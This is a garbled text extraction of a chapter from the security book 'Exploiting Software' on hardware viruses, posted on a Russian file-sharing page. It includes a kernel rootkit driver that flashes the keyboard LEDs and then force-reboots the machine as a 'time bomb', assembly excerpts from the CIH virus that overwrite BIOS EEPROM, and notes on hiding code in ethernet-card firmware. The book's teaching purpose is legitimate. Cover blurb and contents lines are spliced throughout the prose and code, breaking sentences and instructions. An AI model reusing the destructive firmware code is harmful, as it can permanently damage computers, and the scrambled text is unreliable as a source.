Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Exploiting Software - How to Break Code.pdf
Скачиваний:
111
Добавлен:
15.03.2015
Размер:
7.95 Mб
Скачать

The Hardware Virus

While we are in the kernel, we have full access to the system and we can communicate with any

the address space. This means, among other things, that we can read/write to the BIOS memor

motherboard or in peripheral hardware.

Table of Contents

Inthe "old days,"Index BIOS memory was stored in ROM or in EEPROM chips, which could not be upd

fromExploitingsoftwareSoftware. TheseHow toolderBreaksystemsCode require the chips to be replaced or manually erased and re

Of course this isn't very cost effective, so new systems use EEPROM chips, otherwise known as f

ByGreg Hoglund,Gary McGraw

ROM. Flash ROM can be rewritten from software.

Publisher: Addison Wesley

A given computer can have several megabytes of flash ROM floating around on various controlle

Pub Date: February 17, 2004

and the motherboard. These flash ROM chips are almost never fully utilized, and this leaves us

tremendousISBN: 0-amounts201-78695-of8 room to store backdoor information and viruses. The compelling thing

using Pages:these512memory spaces is that they are hard to audit and almost never visible to software r

on a system. To access the hardware memory requires driver-level access. Furthermore, this m

immune against reboots and system reinstallation.

One key advantage of a hardware virus is that it will survive a reboot and a system reinstallatio

someone suspects a viral infection, restoring the system from tape or backup will not help. The How does software break? How do attackers make software break on purpose? Why are hardware virus has always been and will remain one of the best kept secrets of the "black magi firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? hackers. There is a disadvantage to hardware viruses, however. They only work on a particular What tools can be used to break software? This book provides the answers.

That is, any given hardware virus must be written to infect the specific hardware of the target.

means the virus will not easily propagate to other systems (if it can be propagated at all). This Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

problem for many uses in warfare, however. Many times the hardware virus is being used as a techniques used by bad guys to break software. If you want to protect your software from

or as a method of sniffing traffic. In this case, a virus may not need to self-replicate. In fact, sel attack, you must first learn how real attacks are really carried out.

replication may not be desired.

This must-have book may shock you—and it will certainly educate you.Getting beyond the

A simple hardware virus may be designed to impart false data to a system or to cause the syste script kiddie treatment found in many hacking books, you will learn about

ignore certain events. Imagine an anti-aircraft radar that uses the VX-Works OS. Within the sys several flash RAM chips. A virus installed in one of these chips has trusted access to the entire b

virus has only one purpose—to cause the

to ignore certain types of radar signatures.

Why software exploit will continue toradarbe

serious problem

Viruses have long since been detected in the wild that write themselves into the motherboard B When network security m chanisms do not work

memory. In the late 1990s, the so-called F00F bug was able to crash a laptop completely. Altho

CIH virusAttack(ofpattChernobyl)s was widely popularized in the media, virus code that used the BIOS w published long before the release of CIH.[3]

Reverse engineering

[3] . For more on CIH, go to http://www.f-secure.com/cih/.

Classic attacks against server software

EEPROM memory is fairly common on many systems. Ethernet cards, video cards, and multime

peripheralsSurprisingmayattacksall contagainstEEPROMclientmemorysoftware. The hardware memory may contain flash firmwar

firmware may just be used for data storage. In the case of a backdoor, overwriting firmware is

to otherTechniquesapproachesfor craftingbecausemalithe changeious inputwill persist even if the system is cleaned and reinstalle

course, the task of overwriting firmware requires a detailed understanding of the target hardwa

The technical details of buffer overflows

peripheral. But in the case of the motherboard BIOS, the procedure is fairly straightforward.

Rootkits

Reading and Writing Hardware Memory

Exploiti Software s filled with the tools, concepts, and knowledge necessary to break software.

Nonvolatile memory chips are found in a variety of hardware devices: TV tuners and remote co

CD players, cordless and cellular phones, fax machines, cameras, radios, automotive airbags, a

brakes, odometers, keyless entry systems, printers and copiers, modems, pagers, satellite recei

barcode readers, point-of-sale terminals, smart cards, lock boxes, garage door openers, and te

measurement equipment.

Flash ROM can be accessed by simple in and out instructions. Typically a flash ROM chip will co

control register and a data port. Command messages are placed in the control register and the

is used to read or write to the flash memory. In some cases, the memory used by the chip is "m into physical memory, which means it can be accessed as normal linear memory.

Typically, a command is "shifted" to the ROM chip via the out instruction. Depending on the lan thein and out instructions may have subtle differences, but otherwise they are all doing the sa thing. For example:

Table of Contents

Index

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

Publisher: Addison Wesley

Pub Date: February 17, 2004

OUT( some_byte_value, eeprom_register_address );

ISBN: 0-201-78695-8

Pages: 512

On an NT PC system, there are chunks of memory mapped between F0000000 and FFFFFFFF th contain empty spaces. A backdoor or rootkit program may only consume a few hundred bytes,

How does software break? How do attackers make software break on purpose? Why are

some empty space to store such a beast may not be that difficult. This region of memory is con firewalls,various peripheralsintrusion detectionand the motherboardsyst ms, and. Theantivirusmemorysoftwarebetweennot0000keepingandoutFFFFtheusuallybad guys?stores

Whatinput/outputtools can be used to break software? This book provides the answers.

ports of various devices and can be used to configure settings on hardware, and so The region between F9000 and F9FFF is a 4K chunk reserved for the motherboard BIOS. The re

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and betweenA0000 and C7FFF is used for video buffers and video card configuration.

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

Example: Read/Write to the Keyboard Hardware

This must-have book may shock you—and it will certainly educate you.Getting beyond the

script kiddie treatment found in many hacking books, you will learn about

Here we illustrate reading and writing to hardware using a rootkit. Our example will set the LED

indicators on the keyboard. For fun, we also illustrate how to hard boot the computer. This is a

Why software exploit will continue to be a serious problem

starting place for those who want to control more complex hardware from a rootkit.

When network security mechanisms do not work

An interesting form of communication can be designed using the LEDs of the keyboard. The 804

keyboard controller chip can be used to turn on/off the various keyboard LEDs. This can be use

Attack patterns

covert form of communication between a rootkit and the user of a terminal.

Reverse engineering

Our code is commented inline:

Classic attacks against server software

Surprising attacks against client software

Techniques for crafting malicious input

The technical details of buffer overflows

Rootkits

// BASIC DEVICE DRIVER TO SET KEYBOARD LEDs

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

software.

// from www.rootkit.com

#include "ntddk.h"

#include <stdio.h>

VOID rootkit_command_thread(PVOID context);

HANDLE gWorkerThread;

PKTIMER gTimer;

PKDPC gDPCP;

UCHAR g_key_bits = 0;

Table of Contents

Index

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

What follow are various "defines" for the hardware operation. These are found in the document

the 8042 keyboard controller chip. The input/output "port" is 0x60 or 0x64, depending on the o

Publisher: Addison Wesley

These ports are designed for single-byte operations. The command byte that indicates that we

Pub Date: February 17, 2004

set the LEDs is 0xED.

ISBN: 0-201-78695-8

Pages: 512

How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys?

What tools can be used to break software? This book provides the answers.

// commands

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and #definetechn quesREADusedCONTROLLERby bad guys to break 0x20software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.

#define WRITE_CONTROLLER

0x60

This must-have book may shock you—and it will certainly educate you.Getting beyond the script kiddie treatment found in many hacking books, you will learn about

// command bytes

Why software exploit will continue to be a serious problem

#define

SET_LEDS

0xED

When network security mechanisms do not work

#define

KEY_RESET

0xFF

Attack patterns

 

Reverse engineering

// responses from keyboard

Classic attacks against server software

#defineSurprisingKEY ACKattacks against client0xFAsoftware// ack

#defineTechniquesKEY AGAINfor crafting malicious0xFEinput // send again

The technical details of buffer overflows

Rootkits

// 8042 ports

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

// when you read from port 64, this is called STATUS_BYTE software.

// when you write to port 64, this is called COMMAND_BYTE

// read and write on port 64 is called DATA_BYTE

PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;

PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;

// status register bits

 

#define

IBUFFER_FULL

0x02

#define

OBUFFER_FULL

0x01

Table of Contents

Index

Exploiting Software How to Break Code

WhenByGreg weHoglundsend,GarytheMcGrawcommand for setting the LEDs, we must immediately follow the command wi another byte. The second byte indicates which LEDs we want to toggle. The following bits repre

scroll lock, num lock, and caps lock indicators. A bit set to 1 causes the corresponding LED to b

Publisher: Addison Wesley

illuminated.

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

Pages: 512

How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What// flagstoolsforcan bekeyboardused to LEDSbreak software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

#define SCROLL_LOCK_BIT

(0x01 << 0)

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

#define NUMLOCK_BIT

(0x01 << 1)

This must-have book may shock you—and it will certainly educate you.Getting beyond the

#define CAPS_LOCK_BIT (0x01 << 2)

script kiddie treatment found in many hacking books, you will learn about

Why software exploit will continue to be a serious problem

When writing to hardware we typically have to wait for the device to become ready. In the case When network security mechanisms do not work

keyboard we need to verify that the input buffer is empty. The following code loops, waiting for

occur. Also note the call to KeStallExecutionProcessor. This is required because we are waiti Attack patterns

the hardware to clear. When dealing with hardware you typically must wait for a short time bet operationsReverse. Thisengineeringcall stalls the processor for 666 msec.

Classic attacks against server software

Surprising attacks against client software

Techniques for crafting malicious input

The technical details of buffer overflows

Rootkits

ULONG WaitForKeyboard()

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

{

software.

char _t[255];

int i = 100; // number of times to loop

UCHAR mychar;

DbgPrint("waiting for keyboard to become accessible\n");

do

{

mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

Table of Contents

Index

Exploiting Software How to Break Code

KeStallExecutionProcessor(666);

ByGreg Hoglund,Gary McGraw

_snprintf(_t, 253, "WaitForKeyboard::read byte %02X from port 0x64\n",

Publisher: Addison Wesley

DbgPrint(_t);

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

Pages: 512

if(!(mychar & IBUFFER_FULL)) break; // if the flag is clear, we go a

}

How does software break? How do attackers make software break on purpose? Why are while (i—);

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and if(i) return TRUE;

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out. return FALSE;

This must-have book may shock you—and it will certainly educate you.Getting beyond the

}

script kiddie treatment found in many hacking books, you will learn about

Why software exploit will continue to be a serious problem

// call WaitForKeyboard before calling this function

When network security mechanisms do not work

void DrainOutputBuffer()

Attack patterns

{

Reverse engineering

char _t[255];

Classic attacks against server software

int i = 100; // number of times to loop

Surprising attacks against client software

UCHAR c;

Techniques for crafting malicious input

The technical details of buffer overflows

DbgPrint("draining keyboard buffer\n");

Rootkits

Exploitingdo Softwareis filled with the tools, concepts, and knowledge necessary to break

software.

{

c = READ_PORT_UCHAR(KEYBOARD_PORT_64);

KeStallExecutionProcessor(666);

_snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x64\n"

DbgPrint(_t);

Table of Contents

 

Index

 

Exploiting Software How to Break Code

// if the flag is clear, we go ahead

 

if(!(c & OBUFFER_FULL)) break;

ByGreg Hoglund,Gary McGraw

Publisher: Addison Wesley

// gobble up the byte in the output buffer

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

c = READ_PORT_UCHAR(KEYBOARD_PORT_60);

Pages: 512

_snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x60\n"

How does software break? How do attackers make software break on purpose? Why are

DbgPrint(_t);

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What}tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and while (i—);

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

}

This must-have book may shock you—and it will certainly educate you.Getting beyond the script kiddie treatment found in many hacking books, you will learn about

ULONG gCount = 0;

Why software exploit will continue to be a serious problem

When network security mechanisms do not work

This routineAttackpatternssendscommand bytes to the keyboard controller to cause a hard reset of the CPU. wait for the keyboard and then send the 0xFE command byte to port 0x64. In a flash, the comp bootsReverse. engineering

Classic attacks against server software

Surprising attacks against client software

Techniques for crafting malicious input

The technical details of buffer overflows

Rootkits

ULONG ResetPC()

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

{

software.

if(TRUE == WaitForKeyboard())

{

DrainOutputBuffer();

WRITE_PORT_UCHAR( KEYBOARD_PORT_64, 0xFE );

}

else

{

DbgPrint("ResetPC::timeout waiting for keyboard\n");

Table of Contents

return FALSE;

Index

Exploiting Software How to Break Code

}

ByGreg Hoglund,Gary McGraw

return TRUE;

Publisher: Addison Wesley

} Pub Date: February 17, 2004

ISBN: 0-201-78695-8

Pages: 512

This routine waits for the keyboard to become ready and then sends the specified command byt 0x60.

How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniques used by bad guys to break software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.

This must-have book may shock you—and it will certainly educate you.Getting beyond the

// write a byte to the data port at 0x60

script kiddie treatment found in many hacking books, you will learn about

ULONG SendKeyboardCommand( IN UCHAR theCommand )

Why software exploit will continue to be a serious problem

{

When network security mechanisms do not work

char _t[255];

Attack patterns

Reverse engineering

if(TRUE == WaitForKeyboard())

Classic attacks against server software

{Surprising attacks against client software

DrainOutputBuffer();

Techniques for crafting malicious input

The technical details of buffer overflows

Rootkitssnprintf(_t, 253, "SendKeyboardCommand::sending byte %02X

Exploitingto port 0x60\n",SoftwaretheCommand);is filled with the tools, concepts, and knowledge necessary to break

software.

DbgPrint(_t);

WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );

DbgPrint("SendKeyboardCommand::sent\n");

}

else

{

Table of Contents

DbgPrint("SendKeyboardCommand::timeout waiting for keyboard\n");

Index

Exploiting Software How to Break Code

return FALSE;

ByGreg Hoglund,Gary McGraw

}

Publisher: Addison Wesley

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

// TODO: wait for ACK or RESEND from keyboard

Pages: 512

return TRUE;

How does software break? How do attackers make software break on purpose? Why are

}

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

techniques used by bad guys to break software. If you want to protect your software from This is a handy routine that uses the specified bit mask to set the LED indicators on the keyboar

attack, you must first learn how real attacks are really carried out.

some keyboards setting the numlock indicator actually causes the numlock state to be activated

is a problem we leave it as an exercise for the reader to remove the numlock state from the pos This must-have book may shock you—and it will certainly educate you.Getting beyond the combinations.

script kiddie treatment found in many hacking books, you will learn about

Why software exploit will continue to be a serious problem

When network security mechanisms do not work

Attack patterns

Reverse engineering

void SetLEDS( UCHAR theLEDS )

Classic attacks against server software

{

Surprising attacks against client software

// setup for setting LEDS

Techniques for crafting malicious input

if(FALSE == SendKeyboardCommand( 0xED ))

The technical details of buffer overflows

{Rootkits

DbgPrint("SetLEDS::error sending keyboard command\n");

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

software.

}

// send the flags for the LEDs

if(FALSE == SendKeyboardCommand( theLEDS ))

{

DbgPrint("SetLEDS::error sending keyboard command\n");

}

}

Table of Contents

Index

Exploiting Software How to Break Code

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

ByGreg Hoglund,Gary McGraw

{

Publisher: Addison Wesley

DbgPrint("ROOTKIT: OnUnload called\n");

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

KeCancelTimer( gTimer );

Pages: 512

ExFreePool( gTimer );

ExFreePool( gDPCP );

How does software break? How do attackers make software break on purpose? Why are

}

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

techniques used by bad guys to break software. If you want to protect your software from This routine is a callback that occurs every 300 msec. From this call we change the LED pattern

attack, you must first learn how real attacks are really carried out.

causes an amusing display of dancing LEDs on the keyboard. After 100 iterations, the routine re

PC (beware of this time bomb!).

This must-have book may shock you—and it will certainly educate you.Getting beyond the

script kiddie treatment found in many hacking books, you will learn about

This routine is called a deferred procedure call (DPC) and is activated next. When we unload the

we must be sure to cancel the DPC callback with KeCancelTimer().

Why software exploit will continue to be a serious problem

When network security mechanisms do not work

Attack patterns

Reverse engineering

Classic attacks against server software

// called periodically

Surprising attacks against client software

VOID timerDPC(

IN PKDPC Dpc,

Techniques for crafting malicious input

IN PVOID DeferredContext,

The technical details of buffer overflows

IN PVOID sys1,

Rootkits

IN PVOID sys2)

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

software.

{

if(!g_key_bits++) SetLEDS( 0x04 );

else

{

g_key_bits=0;

SetLEDS(0x01);

if(gCount++ > 100) ResetPC();

}

Table of Contents

}

Index

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

ThePublisher:main routineAddisonofWesleythe rootkit initializes and starts a timer via the KeSetTimerEx() call. The th

argument of the call (300) is the number of milliseconds between timer events.

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

Pages: 512

How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys?

What tools can be used to break software? This book provides the answers.

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

PUNICODE_STRING theRegistryPath )

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

{

This must-have book may shock you—and it will certainly educate you.Getting beyond the

LARGE_INTEGER timeout;

script kiddie treatment found in many hacking books, you will learn about

Why software exploit will continue to be a serious problem theDriverObject->DriverUnload = OnUnload;

When network security mechanisms do not work

// these objects must be nonpaged

Attack patterns

gTimer = ExAllocatePool(NonPagedPool,sizeof(KTIMER));

Reverse engineering

gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));

Classic attacks against server software

Surprising attacks against client software

timeout.QuadPart = -10;

Techniques for crafting malicious input

The technical details of buffer overflows

KeInitializeTimer( gTimer );

Rootkits

KeInitializeDpc( gDPCP, timerDPC, NULL );

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break software.

if(TRUE == KeSetTimerEx( gTimer, timeout, 300, gDPCP))

//

300 ms timer

 

{

DbgPrint("Timer was already queued..");

}

return STATUS_SUCCESS;

Table of Contents

}

Index

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

ThisPublisher:concludesAddisourn Wesleysample hardware driver. This simple driver can be expanded to deal with oth

of hardware. You are forewarned that messing around with hardware can sometimes permanen

Pub Date: February 17, 2004

damage a computer. Play at your own risk!

ISBN: 0-201-78695-8

Pages: 512

Enable Read/Write from EEPROM

For this example we consider the 430TX PCI chip set typically found on an Intel motherboard. T controllHow doers chipsoftwareis 82439TXbreak? How(MTXC)do attackerschip. Themakefollowingsoftwareregistersbreakareon mappedpurpose?intoWhyuserare-accessib addressfirewalls,space:intrusion detection systems, and antivirus software not keeping out the bad guys?

What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniques used by bad guys to break software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.

This must-have book may shock you—and it will certainly educate you.Getting beyond the script kiddie treatment found in many hacking books, you will learn about

CONFADD 0xCF8

Why software exploit will continue to be a serious problem

Configuration Register

When network security mechanisms do not work

Attack patterns

CONFDATA 0xCFC

Reverse engineering

ConfigurationClassic attacksDatagainstRegisterserver software

Surprising attacks against client software

Techniques for crafting malicious input

The CONFADD register controls which PCI device is selected. Each device on the PCI bus can ha

The technical details of buffer overflows

8-bit "registers." To reference a configuration register, a number must be placed into CONFADD

indicates the bus number, the device number, the function number, and the configuration regis

Rootkits

target. The CONFDATA register then becomes a "window" that is mapped onto 4 bytes of config

space. Any read or write to CONFDATA is translated into a read/write operation against the targ Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

configuration space. software.

It is interesting to note that the MTXC itself is considered a target device, and the CONFADD/CO registers can be used to configure the MTXC itself. We encourage you to consult the official Inte documentation on the PCI chip set to obtain tables of command codes and flags.

CIH

The most famous virus to overwrite hardware EEPROM memory is the CIH virus. CIH attacked o 430TX-compatible motherboards. Here are some snippets of code from CIH that write data into BIOS. Notice that operations are made against the configuration register of the 430TX. Dependi the values written to this port, different regions of EEPROM memory are mapped into memory. walks through several regions, attempting to destroy them all.

Table of Contents

Index

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

Publisher: Addison Wesley

; ***************************

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

*

; * Kill BIOS EEPROM

Pages: 512

 

; ***************************

How does software break? How do attackers make software break on purpose? Why are

mov

bp, 0cf8h

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys?

What tools can be used to break software? This book provides the answers.

lea

esi, IOForEEPROM-@7[esi]

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

; ***********************

This must-have book may shock you—and it will certainly educate you.Getting beyond the script kiddie treatment found in many hacking books, you will learn about

; * Show BIOS Page in

*

Why software exploit will continue to be a serious problem

; * 000E0000 - 000EFFFF *

When network security mechanisms do not work

; *

(

64 KB

)

*

Attack patterns

;***********************

Reverse engineering

Classic attacks against server software

mov edi, 8000384ch

Surprising attacks against client software

mov dx, 0cfeh

Techniques for crafting malicious input

cli

The technical details of buffer overflows

Rootkitscall esi

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

software.

; ***********************

;

*

Show BIOS Page in

*

;

*

000F0000 - 000FFFFF *

;

*

(

64 KB

)

*

;

***********************

mov

di, 0058h

Table of Contents

dec

edx

; and al,0fh

Index

Exploiting Software How to Break Code

mov

word ptr (BooleanCalculateCode-@10)[esi], 0f24h

ByGreg Hoglund,Gary McGraw

call esi

Publisher: Addison Wesley

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

; ***********************

Pages: 512

; * Show the BIOS Extra *

How does software break? How do attackers make software break on purpose? Why are

; * ROM Data in Memory *

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys?

What tools can be used to break software? This book provides the answers.

; * 000E0000 - 000E01FF *

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

; * ( 512 Bytes ) *

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

; * , and the Section *

This must-have book may shock you—and it will certainly educate you.Getting beyond the

; * of Extra BIOS can *

script kiddie treatment found in many hacking books, you will learn about

; * be Written... *

Why software exploit will continue to be a serious problem

; ***********************

When network security mechanisms do not work

lea

ebx, EnableEEPROMToWrite-@10[esi]

Attack patterns

eax, 0e5555h

mov

Reverse engineering

mov

ecx, 0e2aaah

Classic attacks against server software

call

ebx

Surprising attacks against client software

mov

byte ptr [eax], 60h

Techniques for crafting malicious input

The technicalpush detailsecx of buffer overflows

Rootkitsloop

$

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

software.

;***********************

;* Kill the BIOS Extra *

;* ROM Data in Memory *

; * 000E0000 - 000E007F *

; * ( 80h Bytes ) *

; ***********************

Table of Contents

xor

ah, ah

Index

Exploiting Software How to Break Code

mov

[eax], al

ByGreg Hoglund,Gary McGraw

Publisher: Addison Wesley

xchg ecx, eax

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

loop $

Pages: 512

; ***********************

How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys?

What tools can be used to break software? This book provides the answers.

; * Show and Enable the *

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

; * BIOS Main ROM Data *

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

; * 000E0000 - 000FFFFF *

This must-have book may shock you—and it will certainly educate you.Getting beyond the

; * ( 128 KB ) *

script kiddie treatment found in many hacking books, you will learn about

; * can be Written... *

Why software exploit will continue to be a serious problem

; ***********************

When network security mechanisms do not work

Attack patterns

eax, 0f5555h

mov

Reverse engineering

pop

ecx

Classic attacks against server software

mov ch, 0aah

Surprising attacks against client software

call ebx

Techniques for crafting malicious input

mov byte ptr [eax], 20h

The technical details of buffer overflows

Rootkitsloop $

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

software.

; ***********************

;

*

Kill the

BIOS Main

*

;

*

ROM Data

in Memory

*

; * 000FE000 - 000FE07F *

;

*

(

80h Bytes

) *

;

***********************

 

 

 

mov

ah, 0e0h

Table of Contents

mov

[eax], al

Index

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

; ***********************

Publisher: Addison Wesley

Pub Date: February 17, 2004

 

 

ISBN: 0-201-78695-8

 

; * HidePages:BIOS512

Page

in

*

;

*

000F0000 - 000FFFFF

*

;

*

(

64

KB

)

*

How does software break? How do attackers make software break on purpose? Why are

; ***********************

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

; or al,10h

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

mov

word ptr (BooleanCalculateCode-@10)[esi], 100ch

This must-have book may shock you—and it will certainly educate you.Getting beyond the call esi

script kiddie treatment found in many hacking books, you will learn about

Why software exploit will continue to be a serious problem

; ***************************

When network security mechanisms do not work

Attack patterns

; * Enable EEPROM to Write *

Reverse engineering

; ***************************

Classic attacks against server software

Surprising attacks against client software

EnableEEPROMToWrite:

Techniques for crafting malicious input

mov [eax], cl

The technical details of buffer overflows

Rootkitsmov

[ecx], al

Exploiting Softwaremov

byteis filledptrwith[eax],the tools,80hconcepts, and knowledge necessary to break

software.

[eax],

cl

mov

mov

[ecx],

al

ret

; ***************************

;

* IO for EEPROM

*

;

***************************

Table of Contents

Index

Exploiting Software How to Break Code

IOForEEPROM:

ByGreg Hoglund,Gary McGraw

@10

=

IOForEEPROM

Publisher: Addison Wesley

xchg eax, edi

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

xchg edx, ebp

Pages: 512

out

dx, eax

xchg

eax, edi

How does software break? How do attackers make software break on purpose? Why are xchg edx, ebp

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys?

What tools can be used to break software? This book provides the answers.

in

al, dx

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

BooleanCalculateCode = $

This must-have book may shock you—and it will certainly educate you.Getting beyond the or al, 44h

script kiddie treatment found in many hacking books, you will learn about

xchg eax, edi

Why software exploit will continue to be a serious problem xchg edx, ebp

When network security mechanisms do not work

out

dx, eax

Attack patterns

eax, edi

xchg

Reverse engineering

xchg

edx, ebp

Classic attacks against server software

out dx, al

Surprising attacks against client software

ret

Techniques for crafting malicious input

The technical details of buffer overflows

Rootkits

EEPROM and Timing

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

software.

Timing is very important for EEPROM operations. Here's an amusing anecdote: An attacker once program to flash over the EEPROM in a Cisco router during the attack. The original attack code include a timer. The result was that his code was too fast and only overwrote every fifth byte! T solution involved slowing down the write operations by putting a few hundred milliseconds betw write. Every chip is different. You will need to examine or test the timing required for read and operations to each chip.

This code snippet performs a read operation on the 3-Com 3C5x9 ethernet card's EEPROM.[4] N

call to sleep 162 msec.

[4] This code comes courtesy of the Linux driver found in the file 3c509.c. Open source OSs are filled with i about various drivers.

Table of Contents

Index

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

/* Read the EEPROM. */

Publisher: Addison Wesley

Pub Date: February 17, 2004

for (i = 0; i < 16; i++) {

ISBN: 0-201-78695-8

Pages: 512

outw(EEPROM_READ + i, ioaddr + 10);

/* Pause for at least 162 msec for the read to take place. */

usleep(162);

How does software break? How do attackers make software break on purpose? Why are firewalls,eepromintrusioncontents[i]detection=systems,inw(ioaddrand antivirus+ 12); software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniquesprintf("EEPROMused by badindexguys to%d:break%4.4xsoftware.\n",. If you want to protect your software from attack, you must first learn how real attacks are really carried out.

I,

This must-have book may shock you—and it will certainly educate you.Getting beyond the

script kiddie treatment found in many hacking books, you will learn about eeprom_contents[i]);

}

Why software exploit will continue to be a serious problem

When network security mechanisms do not work

Attack patterns

The Ethernet EEPROM

Reverse engineering

Subversive code can be placed into an ethernet card. This is an optimal platform because packe Classic attacks against server software

analyzed and crafted with direct access to the network. A typical ethernet controller will have a chip thatSurprisinghandlesattacksalmostagainstevery hingclientinsoneftwarepackage. Inside the ASIC is a custom processor that micromachine. This micromachine has an instruction set just like a normal processor. There are

Techniques for crafting malicious input

subroutines that are called whenever a packet arrives on the interface. These subroutines are w

using the native opcodes of the micromachine. Of course, the micromachine opcodes are typical

The technical details of buffer overflows

proprietary and confidential to each manufacturer. To obtain access to this information may req

nondisclosure agreement with the manufacturer, so we can't publish any specific opcodes here.

Rootkits

However, we can discuss how an attack would work in theory.

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

An ethernet controller may have an onboard flash and/or EEPROM that can be reprogrammed fr

software.

device driver. For example, the Intel InBusiness 10/100 ethernet card includes an EEPROM me can be written to from software. The card is based on the 82559 ethernet controller chip. This is that contains a micromachine and several buffers for storing packets. Attached to the 82559 is serial EEPROM chip. The serial EEPROM is an ATMEL 93C46. The 93C46 contains 64 16-bit word total of 128K of storage space.

Using this information, we can hide code in the EEPROM of the ethernet card or even overwrite EEPROM. Because the serial EEPROM is not directly connected to the address bus of the comput cannot directly reference it. However, the 82559 exposes the EEPROM to read and write operati

the 82559 control register. The address of the 82559 is controlled via the PCI chip set on the motherboard. Once the base address of the chip is known, there are many registers that can be accessed as offsets from this base address:

82559 register

offset

STATUS

0

Table of Contents

COMMAND Index

2

Exploiting Software How to Break Code

POINTER

4

ByGreg Hoglund,Gary McGraw

 

PORT

8

